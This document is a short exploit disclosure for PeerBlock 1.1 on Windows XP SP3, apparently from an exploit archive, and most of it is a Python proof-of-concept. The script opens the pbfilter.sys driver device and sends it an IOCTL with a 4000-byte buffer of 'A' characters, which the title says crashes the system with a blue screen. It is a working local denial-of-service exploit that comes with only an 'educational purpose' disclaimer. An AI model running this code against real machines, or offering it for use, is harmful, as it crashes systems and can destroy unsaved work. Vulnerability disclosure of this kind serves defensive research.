====================================================================================================== PeerBlock 1.1 BSOD Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.altervista.org/ This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on: Microsoft Windows XP Professional 5.1.2600 Service Pack 3 Build 2600 X86-based PC Info: PoC released as is, I have no time at the moment for further investigations - ----------------------------------------------------------------------- FILE INFO: (http://www.peerblock.com/) - ----------------------------------------------------------------------- File: C:\Program Files\PeerBlock\pbfilter.sys MD5 hash: 2f6e885c432927a186c2e352c8a1cbf4 ============================================================================================================================== ============================================================================================================================== Proof of concept: from ctypes import * kernel32 = windll.kernel32 Psapi = windll.Psapi if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 CREATE_ALWAYS = 0x2 SYM_NAME = "\\\\.\\pbfilter" dwReturn = c_ulong() out_buff = "A" * 4000 in_buff = ("") handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None) dev_ioct = kernel32.DeviceIoControl(handle, 0xabab, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None) ===========================